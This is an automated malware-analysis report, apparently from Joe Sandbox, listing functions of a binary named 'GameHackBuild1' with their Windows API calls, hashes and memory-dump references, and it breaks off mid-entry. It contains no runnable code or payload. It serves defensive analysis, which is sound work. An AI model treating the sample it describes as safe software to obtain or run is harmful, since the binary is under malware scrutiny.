Opcode Fuzzy Hash: 0d52dc6e9dc2957e265fa8365c6cfaac90ed828472226f46d9f48fe8779763f6
Instruction Fuzzy Hash: 9EF0FFB1D00209ABCB10EF99D949AEFFBFCEF95701F00415AF814E2240DBB856458BA1

Function 00A0984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00A0985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00A09876
GetLastError.KERNEL32 ref: 00A098A8
GetLastError.KERNEL32 ref: 00A098C7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 13ac140f1b61cbe4193fee98c5f199503d7997a1d24376e8dbcc54a82f3b0b25
Instruction ID: 3bd043d26964e2e47516417ae8c57986da1c2aa7fe58359b15786f352909c8cd
Opcode Fuzzy Hash: 13ac140f1b61cbe4193fee98c5f199503d7997a1d24376e8dbcc54a82f3b0b25
Instruction Fuzzy Hash: CD119A3190420CEBDF209B51E904AAB77A8EB47731F10C12AF82A857D2D7359E489F51

Function 00A2A4F4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00A2388F,00000000,00000000,?,00A2A49B,00A2388F,00000000,00000000,00000000,?,00A2A698,00000006,FlsSetValue), ref: 00A2A526
GetLastError.KERNEL32(?,00A2A49B,00A2388F,00000000,00000000,00000000,?,00A2A698,00000006,FlsSetValue,00A37348,00A37350,00000000,00000364,?,00A29077), ref: 00A2A532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00A2A49B,00A2388F,00000000,00000000,00000000,?,00A2A698,00000006,FlsSetValue,00A37348,00A37350,00000000), ref: 00A2A540

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a9d1f54caae2cc76f5f1ebb560a38e2f6db057f1a797e9ceb90989061b102ab4
Instruction ID: da321d5ad06b30e063de376211c05fdc4e2046df06f45485c617e94a72d1a120
Opcode Fuzzy Hash: a9d1f54caae2cc76f5f1ebb560a38e2f6db057f1a797e9ceb90989061b102ab4
Instruction Fuzzy Hash: AA012B33755232ABCB21CBACBC44A57BBA8AF65BA17240630FD0BD7140D735D901CAE1

Function 00A10889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_000109D0,?,00000000,00000000), ref: 00A108AD
SetThreadPriority.KERNEL32(?,00000000), ref: 00A108F4

Part of subcall function 00A06E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A06EAF

Strings

CreateThread failed, xrefs: 00A108B9

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 19e7a2d0e0bbef027cdc4707dc9d607eff629b4c8ff700a298fc78db95691ce6
Instruction ID: 214ea097baa883b15e23eacb6ea4056c2bfec9dcc50d4a7a4683e647d3bd5ddc
Opcode Fuzzy Hash: 19e7a2d0e0bbef027cdc4707dc9d607eff629b4c8ff700a298fc78db95691ce6
Instruction Fuzzy Hash: 5101DBB52443057FD6249F54FD41FA67398EB41715F10053DFA4696181CEF168C19664

Function 00A09F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,00A0CC94,00000001,?,?,?,00000000,00A14ECD,?,?,?), ref: 00A09F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00A14ECD,?,?,?,?,?,00A14972,?), ref: 00A09F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,00A0CC94,00000001,?,?), ref: 00A09FB8

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 10c85c067c13c17009ad961a23d614f8f32a222abd25c12fec2f271bed1c55f8
Instruction ID: 25d7c6e49fbb6bffa6999f12a476a96f3576a043cd64b88b3166e2fd68d32254
Opcode Fuzzy Hash: 10c85c067c13c17009ad961a23d614f8f32a222abd25c12fec2f271bed1c55f8
Instruction Fuzzy Hash: 5531057160830A9BDF148F14EE48B6BBBA8EB90710F04461CF945DB1C2C775DD49CBA2

Function 00A0A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A261
GetLastError.KERNEL32(?,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A27E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 957dc59406c0da72c948c751a3e29aaa97f605f402e0770a1ffd4ad8e59caab3
Instruction ID: 52a2e419de6535defaf63ab0b90555f06dcda92353ae0039c31e3f8cfc933148
Opcode Fuzzy Hash: 957dc59406c0da72c948c751a3e29aaa97f605f402e0770a1ffd4ad8e59caab3
Instruction Fuzzy Hash: BF01DE3254031C66DF32ABA46D46BEE7358AF2F781F044461F901DA0E1CB66CA8186B3

Function 00A2AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00A2B019

Strings

, xrefs: 00A2B05E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: a8d51596b705aadeb7e0b5c4a88c36c90f3ad5d7989b10f360180f12c5b29d47
Instruction ID: 13ac4f04e5aa71d21e4c639c1e98ad5b49bea67b48bcbfd0cf4acf9d1ff3e654
Opcode Fuzzy Hash: a8d51596b705aadeb7e0b5c4a88c36c90f3ad5d7989b10f360180f12c5b29d47
Instruction Fuzzy Hash: EE4125B050826C9BDF228B289C94AE6BBB9EB05304F1405FCE59A87142D335AA55CF30

Function 00A2A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,000000FF), ref: 00A2A79D

Strings

LCMapStringEx, xrefs: 00A2A73D, 00A2A747

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: a8d6cb8055dc1377fb0738052def5dfb748c5979012fdc8cf20c7ddf32e1d93f
Instruction ID: 46b72ff1c3233fb273e061679d3376a67ba12ec37d3e49055febcb167e13e71e
Opcode Fuzzy Hash: a8d6cb8055dc1377fb0738052def5dfb748c5979012fdc8cf20c7ddf32e1d93f
Instruction Fuzzy Hash: 1201257250421CBBCF12AFA4ED02DEE3FA6FF28710F004564FE1466160CA768931EB91

Function 00A2A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00A29D2F), ref: 00A2A715

Strings

InitializeCriticalSectionEx, xrefs: 00A2A6E5

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 78fabd00e15ed10a6e1d5c68539f483ce1e7dbf8f72a930ec24aa947ffa65422
Instruction ID: 6736695ffba2fd3081b7a0019ad882fa85b261fc5d4085771758450c91fbecd2
Opcode Fuzzy Hash: 78fabd00e15ed10a6e1d5c68539f483ce1e7dbf8f72a930ec24aa947ffa65422
Instruction Fuzzy Hash: 60F0BE3164521CBBCF11AFA8DC06CAE7FA1FF24720F004564FC095A260DB718A11EB91

Function 00A2A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00A2A5AE

Strings

FlsAlloc, xrefs: 00A2A58A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 83beab43f9567c0b79b74de69742332fc354087bf05665b5e5831308c682ae0a
Instruction ID: cb80cf8a0f398e0baa515df8f26875ab265e1f992d253773fa2e93d5c93cce16
Opcode Fuzzy Hash: 83beab43f9567c0b79b74de69742332fc354087bf05665b5e5831308c682ae0a
Instruction Fuzzy Hash: 3BE0E571B4922C7B9624EBA8AC069EEBBA5EB35710F410565FC055B240DE704E01A6D6

Function 00A2329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00A232AF

Strings

FlsAlloc, xrefs: 00A2329E, 00A232A8

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 2ea0f46fb3edbbf2caa18647a772f2007d3fb4688742404b8d64468205626c79
Instruction ID: df2d41d916fc31e0d7a389db01cb230e496e54b146e580c79fd662fcc7e5eefa
Opcode Fuzzy Hash: 2ea0f46fb3edbbf2caa18647a772f2007d3fb4688742404b8d64468205626c79
Instruction Fuzzy Hash: B4D02B23B807347B8D1433EC7C039FE7E449702FB5F490A62FE081A1428765455002C5

Function 00A2B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00A2AF1B: GetOEMCP.KERNEL32(00000000,?,?,00A2B1A5,?), ref: 00A2AF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00A2B1EA,?,00000000), ref: 00A2B3C4
GetCPInfo.KERNEL32(00000000,00A2B1EA,?,?,?,00A2B1EA,?,00000000), ref: 00A2B3D7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 6aaf8c443bf8cc93a39dc0bc20d95986bfbae8caf7a5d09263852d32361cf1fd
Instruction ID: 12528e20a37d03badb1ea559e4614219aafac697dcf6066c816cfdb5f859efb4
Opcode Fuzzy Hash: 6aaf8c443bf8cc93a39dc0bc20d95986bfbae8caf7a5d09263852d32361cf1fd
Instruction Fuzzy Hash: EC513670D102259FDB24EF79E8C16BABBF5EF51310F18407EE0968B292D7359542CBA0

Function 00A01385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A01385

Part of subcall function 00A06057: __EH_prolog.LIBCMT ref: 00A0605C

Part of subcall function 00A0C827: __EH_prolog.LIBCMT ref: 00A0C82C
Part of subcall function 00A0C827: new.LIBCMT ref: 00A0C86F
Part of subcall function 00A0C827: new.LIBCMT ref: 00A0C893

new.LIBCMT ref: 00A013FE

Part of subcall function 00A0B07D: __EH_prolog.LIBCMT ref: 00A0B082

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9cd748dbc47ef157b9faa089d527a42cd4319fdcf5de2e4c2193bbe0604b7979
Instruction ID: e1ae29847800a2ceb2a50e35dfe01310fbbf3ad1c8a0158efd34b57103f87a35
Opcode Fuzzy Hash: 9cd748dbc47ef157b9faa089d527a42cd4319fdcf5de2e4c2193bbe0604b7979
Instruction Fuzzy Hash: 884134B0805B449EE724DF7989859E7FBE5FF18300F404A2ED6EE83282DB326554CB11

Function 00A01380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A01385

Part of subcall function 00A06057: __EH_prolog.LIBCMT ref: 00A0605C

Part of subcall function 00A0C827: __EH_prolog.LIBCMT ref: 00A0C82C
Part of subcall function 00A0C827: new.LIBCMT ref: 00A0C86F
Part of subcall function 00A0C827: new.LIBCMT ref: 00A0C893

new.LIBCMT ref: 00A013FE

Part of subcall function 00A0B07D: __EH_prolog.LIBCMT ref: 00A0B082

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f9ace9bcb0fc48631f61a199bab80a7ce3d7190df4ab72fb8bd3a1935f28f935
Instruction ID: 8d4f2383f17a26bfd3a87a643389d4f9bb6f9847f8b1e8ca702de21d5680fb2f
Opcode Fuzzy Hash: f9ace9bcb0fc48631f61a199bab80a7ce3d7190df4ab72fb8bd3a1935f28f935
Instruction Fuzzy Hash: 424123B0805B449EE724DF798985AE7FBE5FF18300F504A2ED5EE83282DB326554CB11

Function 00A2B188 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00A28FA5: GetLastError.KERNEL32(?,00A40F50,00A23E14,00A40F50,?,?,00A2388F,?,?,00A40F50), ref: 00A28FA9
Part of subcall function 00A28FA5: _free.LIBCMT ref: 00A28FDC
Part of subcall function 00A28FA5: SetLastError.KERNEL32(00000000,?,00A40F50), ref: 00A2901D
Part of subcall function 00A28FA5: _abort.LIBCMT ref: 00A29023

Part of subcall function 00A2B2AE: _abort.LIBCMT ref: 00A2B2E0
Part of subcall function 00A2B2AE: _free.LIBCMT ref: 00A2B314

Part of subcall function 00A2AF1B: GetOEMCP.KERNEL32(00000000,?,?,00A2B1A5,?), ref: 00A2AF46

_free.LIBCMT ref: 00A2B200
_free.LIBCMT ref: 00A2B236

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: f312991ec7c073363de766012c092ab5283ef866b83994147a555cddb15495ed
Instruction ID: 0cbde7c79f2b6eef8ca7984d10c532671340fd470090a179c8a01d938cdfb617
Opcode Fuzzy Hash: f312991ec7c073363de766012c092ab5283ef866b83994147a555cddb15495ed
Instruction Fuzzy Hash: DA31D131900228EFDB10EFADE941BADB7E1EF40320F2541B9F4149B291EB759D41CB60

Function 00A0971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00A09EDC,?,?,00A07867), ref: 00A097A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00A09EDC,?,?,00A07867), ref: 00A097DB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b5c7b9d27e8f029e794efc759c4853d8515b2c6366efc39a9b8976350698640e
Instruction ID: d10bbac5e9246a49af27f27e8e8944ba14363c4748ceab4dfbca68f25036e942
Opcode Fuzzy Hash: b5c7b9d27e8f029e794efc759c4853d8515b2c6366efc39a9b8976350698640e
Instruction Fuzzy Hash: 002137B201474CAFE7308F64EC85BA7B7E8EB49764F00492DF5E5821D2C374AC858B21

Function 00A09D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00A07547,?,?,?,?), ref: 00A09D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00A09E2C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: ef493f2144099f63030ff26e0fd24a27c33ea1215ac1e63ac9a41eb1e4353697
Instruction ID: 9d67a133bda2562ec4552041cc765189c5fc52d932c5235dac4dce9c7b909a10
Opcode Fuzzy Hash: ef493f2144099f63030ff26e0fd24a27c33ea1215ac1e63ac9a41eb1e4353697
Instruction Fuzzy Hash: 1C21E73118824AABC714DF24D851EABBBE4AF96708F04081DF4D1C7182D329DE4CDB51

Function 00A2A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00A2A4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A2A4C5

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
